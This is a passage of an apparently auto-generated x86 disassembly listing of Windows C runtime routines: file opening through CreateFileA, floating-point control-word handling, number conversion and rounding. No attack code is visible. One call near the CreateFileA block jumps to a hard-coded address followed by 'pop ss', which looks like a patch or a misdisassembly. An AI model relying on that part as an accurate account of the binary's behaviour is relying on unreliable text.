		jz	short loc_419ECD
		cmp	eax, 40h
		jnz	short loc_419E83
		mov	[ebp+var_10], esi
		jmp	short loc_419EE2
; ---------------------------------------------------------------------------


loc_419ECD:				; CODE XREF: sub_419E27+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_419EE2
; ---------------------------------------------------------------------------


loc_419ED6:				; CODE XREF: sub_419E27+95j
		mov	[ebp+var_10], 1
		jmp	short loc_419EE2
; ---------------------------------------------------------------------------


loc_419EDF:				; CODE XREF: sub_419E27+90j
		mov	[ebp+var_10], ebx


loc_419EE2:				; CODE XREF: sub_419E27+A4j
					; sub_419E27+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_419F2C
		jz	short loc_419F27
		cmp	ecx, ebx
		jz	short loc_419F27
		cmp	ecx, edi
		jz	short loc_419F1E
		cmp	ecx, 200h
		jz	short loc_419F45
		cmp	ecx, 300h
		jnz	loc_419E83
		mov	[ebp+var_8], 2
		jmp	short loc_419F55
; ---------------------------------------------------------------------------


loc_419F1E:				; CODE XREF: sub_419E27+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_419F55
; ---------------------------------------------------------------------------


loc_419F27:				; CODE XREF: sub_419E27+D0j
					; sub_419E27+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_419F55
; ---------------------------------------------------------------------------


loc_419F2C:				; CODE XREF: sub_419E27+CEj
		cmp	ecx, 500h
		jz	short loc_419F4E
		cmp	ecx, 600h
		jz	short loc_419F45
		cmp	ecx, edx
		jz	short loc_419F4E
		jmp	loc_419E83
; ---------------------------------------------------------------------------


loc_419F45:				; CODE XREF: sub_419E27+E0j
					; sub_419E27+113j
		mov	[ebp+var_8], 5
		jmp	short loc_419F55
; ---------------------------------------------------------------------------


loc_419F4E:				; CODE XREF: sub_419E27+10Bj
					; sub_419E27+117j
		mov	[ebp+var_8], 1


loc_419F55:				; CODE XREF: sub_419E27+F5j
					; sub_419E27+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_419F74
		mov	ecx, dword_462BCC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_419F74
		push	1
		pop	esi


loc_419F74:				; CODE XREF: sub_419E27+138j
					; sub_419E27+148j
		test	al, 40h
		jz	short loc_419F82
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_419F82:				; CODE XREF: sub_419E27+14Fj
		test	ah, 10h
		jz	short loc_419F89
		or	esi, edi


loc_419F89:				; CODE XREF: sub_419E27+15Ej
		test	al, 20h
		jz	short loc_419F95
		or	esi, 8000000h
		jmp	short loc_419F9F
; ---------------------------------------------------------------------------


loc_419F95:				; CODE XREF: sub_419E27+164j
		test	al, 10h
		jz	short loc_419F9F
		or	esi, 10000000h


loc_419F9F:				; CODE XREF: sub_419E27+16Cj
					; sub_419E27+170j
		call	sub_419C0D
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_419FC0
		and	dword_462BC8, 0
		mov	dword_462BC4, 18h
		jmp	short loc_419FFE
; ---------------------------------------------------------------------------


loc_419FC0:				; CODE XREF: sub_419E27+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_41D07C	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_419FF1
		push	esi
		call	near ptr 0AB0000h
		pop	ss
		test	eax, eax
		jnz	short loc_41A005
		push	esi
		call	dword_41D074	; CloseHandle


loc_419FF1:				; CODE XREF: sub_419E27+1B6j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		call	sub_418CFA
		pop	ecx


loc_419FFE:				; CODE XREF: sub_419E27+197j
		mov	eax, edi
		jmp	loc_41A0DB
; ---------------------------------------------------------------------------


loc_41A005:				; CODE XREF: sub_419E27+1C1j
		cmp	eax, 2
		jnz	short loc_41A010
		or	[ebp+var_1], 40h
		jmp	short loc_41A019
; ---------------------------------------------------------------------------


loc_41A010:				; CODE XREF: sub_419E27+1E1j
		cmp	eax, 3
		jnz	short loc_41A019
		or	[ebp+var_1], 8


loc_41A019:				; CODE XREF: sub_419E27+1E7j
					; sub_419E27+1ECj
		push	esi
		push	ebx
		call	loc_419CA2
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:463EE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41A0C2
		test	al, 80h
		jz	short loc_41A0C2
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41A0C2
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41844F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41A077
		cmp	dword_462BC8, 83h
		jz	short loc_41A0C2
		jmp	short loc_41A0B6
; ---------------------------------------------------------------------------


loc_41A077:				; CODE XREF: sub_419E27+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_418259
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A0A4
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41A0A4
		push	[ebp+var_10]
		push	ebx
		call	sub_41B11C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A0B6


loc_41A0A4:				; CODE XREF: sub_419E27+265j
					; sub_419E27+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41844F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A0C2


loc_41A0B6:				; CODE XREF: sub_419E27+24Ej
					; sub_419E27+27Bj
		push	ebx
		call	sub_414E9B
		pop	ecx


loc_41A0BD:				; CODE XREF: sub_419E27+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A0DB
; ---------------------------------------------------------------------------


loc_41A0C2:				; CODE XREF: sub_419E27+221j
					; sub_419E27+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41A0D9
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41A0D9
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41A0D9:				; CODE XREF: sub_419E27+29Fj
					; sub_419E27+2A5j
		mov	eax, ebx


loc_41A0DB:				; CODE XREF: sub_419E27+1D9j
					; sub_419E27+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E27	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: sub_416483+52p
		xor	eax, eax
		retn
sub_41A0E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0E3	proc near		; CODE XREF: sub_41A118+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41A12E
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41A1C0
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A0E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A118	proc near		; CODE XREF: sub_41676F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41A0E3
		pop	ecx
		pop	ecx
		retn
sub_41A118	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A12E	proc near		; CODE XREF: sub_41A0E3+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41A13F
		push	10h
		pop	eax


loc_41A13F:				; CODE XREF: sub_41A12E+Cj
		test	bl, 4
		jz	short loc_41A146
		or	al, 8


loc_41A146:				; CODE XREF: sub_41A12E+14j
		test	bl, 8
		jz	short loc_41A14D
		or	al, 4


loc_41A14D:				; CODE XREF: sub_41A12E+1Bj
		test	bl, 10h
		jz	short loc_41A154
		or	al, 2


loc_41A154:				; CODE XREF: sub_41A12E+22j
		test	bl, 20h
		jz	short loc_41A15B
		or	al, 1


loc_41A15B:				; CODE XREF: sub_41A12E+29j
		test	bl, 2
		jz	short loc_41A165
		or	eax, 80000h


loc_41A165:				; CODE XREF: sub_41A12E+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41A19D
		cmp	edx, 400h
		jz	short loc_41A19A
		cmp	edx, 800h
		jz	short loc_41A196
		cmp	edx, esi
		jnz	short loc_41A19D
		or	eax, edi
		jmp	short loc_41A19D
; ---------------------------------------------------------------------------


loc_41A196:				; CODE XREF: sub_41A12E+5Ej
		or	eax, ebp
		jmp	short loc_41A19D
; ---------------------------------------------------------------------------


loc_41A19A:				; CODE XREF: sub_41A12E+56j
		or	ah, 1


loc_41A19D:				; CODE XREF: sub_41A12E+4Ej
					; sub_41A12E+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41A1AD
		cmp	ecx, ebp
		jnz	short loc_41A1B2
		or	eax, 10000h
		jmp	short loc_41A1B2
; ---------------------------------------------------------------------------


loc_41A1AD:				; CODE XREF: sub_41A12E+72j
		or	eax, 20000h


loc_41A1B2:				; CODE XREF: sub_41A12E+76j
					; sub_41A12E+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41A1BF
		or	eax, 40000h

locret_41A1BF:				; CODE XREF: sub_41A12E+8Aj
		retn
sub_41A12E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1C0	proc near		; CODE XREF: sub_41A0E3+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41A1D0
		push	1
		pop	eax


loc_41A1D0:				; CODE XREF: sub_41A1C0+Bj
		test	bl, 8
		jz	short loc_41A1D7
		or	al, 4


loc_41A1D7:				; CODE XREF: sub_41A1C0+13j
		test	bl, 4
		jz	short loc_41A1DE
		or	al, 8


loc_41A1DE:				; CODE XREF: sub_41A1C0+1Aj
		test	bl, 2
		jz	short loc_41A1E5
		or	al, 10h


loc_41A1E5:				; CODE XREF: sub_41A1C0+21j
		test	bl, 1
		jz	short loc_41A1EC
		or	al, 20h


loc_41A1EC:				; CODE XREF: sub_41A1C0+28j
		test	ebx, 80000h
		jz	short loc_41A1F6
		or	al, 2


loc_41A1F6:				; CODE XREF: sub_41A1C0+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41A223
		cmp	ecx, 100h
		jz	short loc_41A220
		cmp	ecx, esi
		jz	short loc_41A21B
		cmp	ecx, edx
		jnz	short loc_41A223
		or	ah, 0Ch
		jmp	short loc_41A223
; ---------------------------------------------------------------------------


loc_41A21B:				; CODE XREF: sub_41A1C0+50j
		or	ah, 8
		jmp	short loc_41A223
; ---------------------------------------------------------------------------


loc_41A220:				; CODE XREF: sub_41A1C0+4Cj
		or	ah, 4


loc_41A223:				; CODE XREF: sub_41A1C0+44j
					; sub_41A1C0+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41A239
		cmp	ecx, 10000h
		jnz	short loc_41A23B
		or	eax, esi
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A239:				; CODE XREF: sub_41A1C0+6Bj
		or	eax, edx


loc_41A23B:				; CODE XREF: sub_41A1C0+73j
					; sub_41A1C0+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41A248
		or	ah, 10h

locret_41A248:				; CODE XREF: sub_41A1C0+83j
		retn
sub_41A1C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A249	proc near		; CODE XREF: sub_41A2E8+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41A28E
		inc	esi
		cmp	esi, 3
		jge	short loc_41A289
		lea	eax, [eax+esi*4]


loc_41A27B:				; CODE XREF: sub_41A249+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41A28E
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41A27B


loc_41A289:				; CODE XREF: sub_41A249+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A28E:				; CODE XREF: sub_41A249+27j
					; sub_41A249+35j
		xor	eax, eax
		pop	esi
		retn
sub_41A249	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A292	proc near		; CODE XREF: sub_41A2E8+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41B262
		add	esp, 0Ch
		dec	esi
		js	short loc_41A2E4
		lea	edi, [ebx+esi*4]


loc_41A2CB:				; CODE XREF: sub_41A292+50j
		test	eax, eax
		jz	short loc_41A2E4
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41B262
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41A2CB


loc_41A2E4:				; CODE XREF: sub_41A292+34j
					; sub_41A292+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2E8	proc near		; CODE XREF: sub_41A443+81p
					; sub_41A443+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41A34C
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41A249
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A349
		push	edi
		push	[ebp+arg_0]
		call	sub_41A292
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41A349:				; CODE XREF: sub_41A2E8+51j
		mov	eax, [ebp+arg_4]


loc_41A34C:				; CODE XREF: sub_41A2E8+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41A36C
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41A36C:				; CODE XREF: sub_41A2E8+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A2E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A374	proc near		; CODE XREF: sub_41A443+75p
					; sub_41A443+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41A382:				; CODE XREF: sub_41A374+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41A382
		pop	esi
		retn
sub_41A374	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A38F	proc near		; CODE XREF: sub_41A443+5Fp
					; sub_41A443+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41A38F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A39B	proc near		; CODE XREF: sub_41A443+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41A3A1:				; CODE XREF: sub_41A39B+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41A3B3
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41A3A1
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A3B3:				; CODE XREF: sub_41A39B+9j
		xor	eax, eax
		retn
sub_41A39B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3B6	proc near		; CODE XREF: sub_41A443+C0p
					; sub_41A443+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41A3EC:				; CODE XREF: sub_41A3B6+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41A3EC
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41A41E:				; CODE XREF: sub_41A3B6+86j
		cmp	ebx, edi
		jl	short loc_41A431
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A431:				; CODE XREF: sub_41A3B6+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41A438:				; CODE XREF: sub_41A3B6+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41A41E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A3B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A443	proc near		; CODE XREF: sub_41A5AF+Dp
					; sub_41A5C5+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41A4B0
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41A39B
		test	eax, eax
		pop	ecx
		jnz	loc_41A56F
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A38F
		pop	ecx


loc_41A4A8:				; CODE XREF: sub_41A443+E4j
		push	2


loc_41A4AA:				; CODE XREF: sub_41A443+110j
		pop	eax
		jmp	loc_41A571
; ---------------------------------------------------------------------------


loc_41A4B0:				; CODE XREF: sub_41A443+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41A374
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A2E8
		add	esp, 10h
		test	eax, eax
		jz	short loc_41A4D1
		inc	ebx


loc_41A4D1:				; CODE XREF: sub_41A443+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41A4E9
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A38F
		pop	ecx
		jmp	short loc_41A525
; ---------------------------------------------------------------------------


loc_41A4E9:				; CODE XREF: sub_41A443+98j
		cmp	ebx, eax
		jg	short loc_41A52C
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A374
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41A3B6
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A2E8
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A3B6
		add	esp, 20h


loc_41A525:				; CODE XREF: sub_41A443+A4j
		xor	esi, esi
		jmp	loc_41A4A8
; ---------------------------------------------------------------------------


loc_41A52C:				; CODE XREF: sub_41A443+A8j
		cmp	ebx, [edi]
		jl	short loc_41A558
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A38F
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A3B6
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41A4AA
; ---------------------------------------------------------------------------


loc_41A558:				; CODE XREF: sub_41A443+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41A3B6
		pop	ecx
		pop	ecx


loc_41A56F:				; CODE XREF: sub_41A443+55j
		xor	eax, eax


loc_41A571:				; CODE XREF: sub_41A443+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41A5A0
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41A5AA
; ---------------------------------------------------------------------------


loc_41A5A0:				; CODE XREF: sub_41A443+14Ej
		cmp	edi, 20h
		jnz	short loc_41A5AA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41A5AA:				; CODE XREF: sub_41A443+15Bj
					; sub_41A443+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A443	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AF	proc near		; CODE XREF: sub_41A5DB+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_431E30
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A443
		add	esp, 0Ch
		retn
sub_41A5AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5C5	proc near		; CODE XREF: sub_41A608+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_431E48
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A443
		add	esp, 0Ch
		retn
sub_41A5C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5DB	proc near		; CODE XREF: sub_4168A8+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B403
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A5AF
		add	esp, 24h
		leave
		retn
sub_41A5DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A608	proc near		; CODE XREF: sub_4168A8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B403
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A5C5
		add	esp, 24h
		leave
		retn
sub_41A608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A635	proc near		; CODE XREF: sub_4168E6+65p
					; sub_4169EA+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41A672
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41A658:				; CODE XREF: sub_41A635+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41A664
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41A667
; ---------------------------------------------------------------------------


loc_41A664:				; CODE XREF: sub_41A635+27j
		push	30h
		pop	edx


loc_41A667:				; CODE XREF: sub_41A635+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41A658
		mov	edx, [ebp+arg_8]


loc_41A672:				; CODE XREF: sub_41A635+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41A68B
		cmp	byte ptr [ecx],	35h
		jl	short loc_41A68B


loc_41A67E:				; CODE XREF: sub_41A635+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41A689
		mov	byte ptr [eax],	30h
		jmp	short loc_41A67E
; ---------------------------------------------------------------------------


loc_41A689:				; CODE XREF: sub_41A635+4Dj
		inc	byte ptr [eax]


loc_41A68B:				; CODE XREF: sub_41A635+42j
					; sub_41A635+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41A695
		inc	dword ptr [edx+4]
		jmp	short loc_41A6A7
; ---------------------------------------------------------------------------


loc_41A695:				; CODE XREF: sub_41A635+59j
		push	edi
		call	sub_4126F0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_412E60
		add	esp, 10h


loc_41A6A7:				; CODE XREF: sub_41A635+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A635	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AC	proc near		; CODE XREF: sub_4168E6+3Fp
					; sub_4169EA+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41A710
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_462D90
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41B8D4
		mov	dword_462DB8, eax
		add	esp, 18h
		movsx	eax, byte_462D92
		mov	dword_462DB0, eax
		pop	edi
		movsx	eax, word_462D90
		mov	dword_462DB4, eax
		mov	dword_462DBC, offset dword_462D94
